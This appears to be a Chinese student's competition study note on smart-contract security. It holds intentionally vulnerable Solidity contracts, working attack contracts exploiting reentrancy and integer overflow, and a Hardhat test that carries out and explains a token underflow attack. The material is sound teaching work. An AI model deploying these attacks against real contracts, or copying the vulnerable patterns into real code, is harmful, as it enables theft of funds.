区块链国赛笔记 19｜合约安全实验：重入攻击与测试记录

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;


contract Bank {
    mapping (address => uint256) public balanceOf;    // 余额mapping

    // 存入ether，并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "./Bank.sol";

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }

    // 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数，调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    unchecked{
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }
    return true;
  }
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

const {
  time,
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
const { expect } = require("chai");

describe("整数溢出攻击演示", function () {
  // 定义测试夹具
  async function deployTokenFixture() {
    const [owner, attacker, otherAccount] = await ethers.getSigners();

    console.log("👤 所有者地址:", owner.address);
    console.log("👤 攻击者地址:", attacker.address);
    console.log("👤 其他账户地址:", otherAccount.address);

    // 部署Token合约，初始供给100
    console.log("\n📝 步骤1: 部署Token合约，将总供给设为100");
    const Token = await ethers.getContractFactory("Token");
    const token = await Token.deploy(100);
    await token.waitForDeployment();
    const tokenAddress = await token.getAddress();
    console.log("✅ Token合约地址:", tokenAddress);

    // 验证初始状态
    const initialTotalSupply = await token.totalSupply();
    const ownerBalance = await token.balanceOf(owner.address);
    console.log("✅ 初始总供给:", initialTotalSupply.toString());
    console.log("✅ 所有者余额:", ownerBalance.toString());

    return { token, owner, attacker, otherAccount, initialTotalSupply };
  }

  describe("整数下溢攻击流程", function () {
    it("应该成功演示整数下溢攻击", async function () {
      const { token, owner, attacker, otherAccount } = await loadFixture(deployTokenFixture);

      console.log("\n📊 攻击前状态检查:");
      const ownerBalanceBefore = await token.balanceOf(owner.address);
      const attackerBalanceBefore = await token.balanceOf(attacker.address);
      const otherBalanceBefore = await token.balanceOf(otherAccount.address);
      const totalSupplyBefore = await token.totalSupply();

      console.log("   所有者余额:", ownerBalanceBefore.toString());
      console.log("   攻击者余额:", attackerBalanceBefore.toString());
      console.log("   其他账户余额:", otherBalanceBefore.toString());
      console.log("   总供给:", totalSupplyBefore.toString());

      // 验证初始状态
      expect(ownerBalanceBefore).to.equal(100n);
      expect(attackerBalanceBefore).to.equal(0n);
      expect(totalSupplyBefore).to.equal(100n);

      console.log("\n💰 步骤2: 向攻击者账户转账10个代币（正常转账）");
      const normalTransferTx = await token.connect(owner).transfer(attacker.address, 10);
      await normalTransferTx.wait();

      const ownerBalanceAfterNormal = await token.balanceOf(owner.address);
      const attackerBalanceAfterNormal = await token.balanceOf(attacker.address);

      console.log("   ✅ 正常转账成功");
      console.log("      所有者余额:", ownerBalanceAfterNormal.toString());
      console.log("      攻击者余额:", attackerBalanceAfterNormal.toString());

      // 验证正常转账
      expect(ownerBalanceAfterNormal).to.equal(90n);
      expect(attackerBalanceAfterNormal).to.equal(10n);

      console.log("\n💥 步骤3: 向另一个账户转账1000个代币（触发整数下溢）");
      console.log("   攻击者余额:", attackerBalanceAfterNormal.toString());
      console.log("   尝试转账:", "1000");
      console.log("   计算: 10 - 1000 = ? (无符号整数下溢)");

      // 攻击者尝试转账1000个代币（超过其余额）
      const overflowTransferTx = await token.connect(attacker).transfer(otherAccount.address, 1000);
      await overflowTransferTx.wait();

      console.log("   ✅ 转账交易成功（触发整数下溢）");

      console.log("\n🔍 步骤4: 查询攻击者账户的余额");
      const attackerBalanceAfterOverflow = await token.balanceOf(attacker.address);
      const otherBalanceAfterOverflow = await token.balanceOf(otherAccount.address);
      const totalSupplyAfterOverflow = await token.totalSupply();

      console.log("   📊 攻击后状态:");
      console.log("      攻击者余额:", attackerBalanceAfterOverflow.toString());
      console.log("      其他账户余额:", otherBalanceAfterOverflow.toString());
      console.log("      总供给:", totalSupplyAfterOverflow.toString());

      // 计算预期的下溢值
      const expectedOverflowValue = (2n ** 256n) - 990n; // 10 - 1000 = 2^256 - 990
      console.log("\n🧮 下溢计算分析:");
      console.log("   攻击者原余额: 10");
      console.log("   转账金额: 1000");
      console.log("   计算过程: 10 - 1000 =", (10 - 1000).toString());
      console.log("   无符号整数下溢: 10 - 1000 =", expectedOverflowValue.toString());
      console.log("   十六进制:", "0x" + expectedOverflowValue.toString(16));

      // 验证整数下溢攻击成功
      expect(attackerBalanceAfterOverflow).to.equal(expectedOverflowValue);
      expect(otherBalanceAfterOverflow).to.equal(1000n);

      console.log("\n🎉 整数下溢攻击成功！");
      console.log("   • 攻击者用10个代币成功转账1000个代币");
      console.log("   • 攻击者余额变为一个非常大的数字 (~2^256)");
      console.log("   • 合约状态被破坏");
    });
  });

  describe("漏洞分析", function () {
    it("应该分析漏洞的根本原因", async function () {
      const { token, owner, attacker, otherAccount } = await loadFixture(deployTokenFixture);

      console.log("\n=== 漏洞分析 ===");

      console.log("\n🔍 漏洞代码位置:");
      console.log("   function transfer(address _to, uint _value) public returns (bool) {");
      console.log("     unchecked{"); // ❌ 危险：禁用安全检查
      console.log("         require(balances[msg.sender] - _value >= 0);"); // ❌ 问题：无符号整数总是 >= 0
      console.log("         balances[msg.sender] -= _value;"); // ❌ 问题：可能下溢
      console.log("         balances[_to] += _value;");
      console.log("     }");
      console.log("     return true;");
      console.log("   }");

      console.log("\n❌ 漏洞原因:");
      console.log("   1. unchecked 块禁用了Solidity的算术溢出检查");
      console.log("   2. require(balances[msg.sender] - _value >= 0) 总是为真");
      console.log("      - 无符号整数减法结果总是 >= 0（会发生下溢）");
      console.log("   3. balances[msg.sender] -= _value 可能产生下溢");

      console.log("\n💡 修复方案:");
      console.log("   function transfer(address _to, uint _value) public returns (bool) {");
      console.log("     require(balances[msg.sender] >= _value, \"Insufficient balance\");"); // ✅ 正确检查
      console.log("     balances[msg.sender] -= _value;");
      console.log("     balances[_to] += _value;");
      console.log("     return true;");
      console.log("   }");

      // 演示漏洞
      console.log("\n🔬 漏洞演示:");
      await token.connect(owner).transfer(attacker.address, 10);

      const balanceBefore = await token.balanceOf(attacker.address);
      console.log("   攻击者初始余额:", balanceBefore.toString());

      // 执行下溢攻击
      await token.connect(attacker).transfer(otherAccount.address, 1000);

      const balanceAfter = await token.balanceOf(attacker.address);
      console.log("   攻击者攻击后余额:", balanceAfter.toString());
      console.log("   余额变化:", (balanceAfter - balanceBefore).toString());

      expect(balanceAfter).to.be.gt(2n ** 255n); // 验证余额变得非常大
    });
  });

  describe("边界情况测试", function () {
    it("应该测试各种边界情况", async function () {
      const { token, owner, attacker } = await loadFixture(deployTokenFixture);

      console.log("\n=== 边界情况测试 ===");

      // 测试1: 正常转账
      console.log("\n1. 正常转账测试");
      await token.connect(owner).transfer(attacker.address, 50);
      const normalBalance = await token.balanceOf(attacker.address);
      console.log("   ✅ 正常转账后余额:", normalBalance.toString());
      expect(normalBalance).to.equal(50n);

      // 测试2: 转账余额为0
      console.log("\n2. 转账0个代币");
      await token.connect(attacker).transfer(owner.address, 0);
      const zeroTransferBalance = await token.balanceOf(attacker.address);
      console.log("   ✅ 转账0后余额:", zeroTransferBalance.toString());
      expect(zeroTransferBalance).to.equal(50n);

      // 测试3: 转账全部余额
      console.log("\n3. 转账全部余额");
      await token.connect(attacker).transfer(owner.address, 50);
      const allBalance = await token.balanceOf(attacker.address);
      console.log("   ✅ 转账全部余额后:", allBalance.toString());
      expect(allBalance).to.equal(0n);

      // 测试4: 下溢攻击
      console.log("\n4. 下溢攻击测试");
      await token.connect(owner).transfer(attacker.address, 1); // 给攻击者1个代币
      await token.connect(attacker).transfer(owner.address, 1000); // 尝试转账1000个

      const overflowBalance = await token.balanceOf(attacker.address);
      console.log("   💥 下溢攻击后余额:", overflowBalance.toString());
      console.log("   十六进制: 0x" + overflowBalance.toString(16));

      // 验证下溢结果
      const expected = (2n ** 256n) - 999n; // 1 - 1000 = 2^256 - 999
      expect(overflowBalance).to.equal(expected);
    });
  });

});

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 此合约设计用作时间保险库
// 用户可以存入但不能在至少一周内提取
// 用户也可以延长超过一周的等待时间

/*
攻击流程：
1. 部署 TimeLock
2. 部署使用 TimeLock 地址的 Attack 合约
3. 调用 Attack.attack 并发送 1 以太币，你将能够立即提取你的以太币

发生了什么？
Attack 导致 TimeLock.lockTime 溢出，从而能够在
一周等待期结束前提款。
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./TimeLock.sol";

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}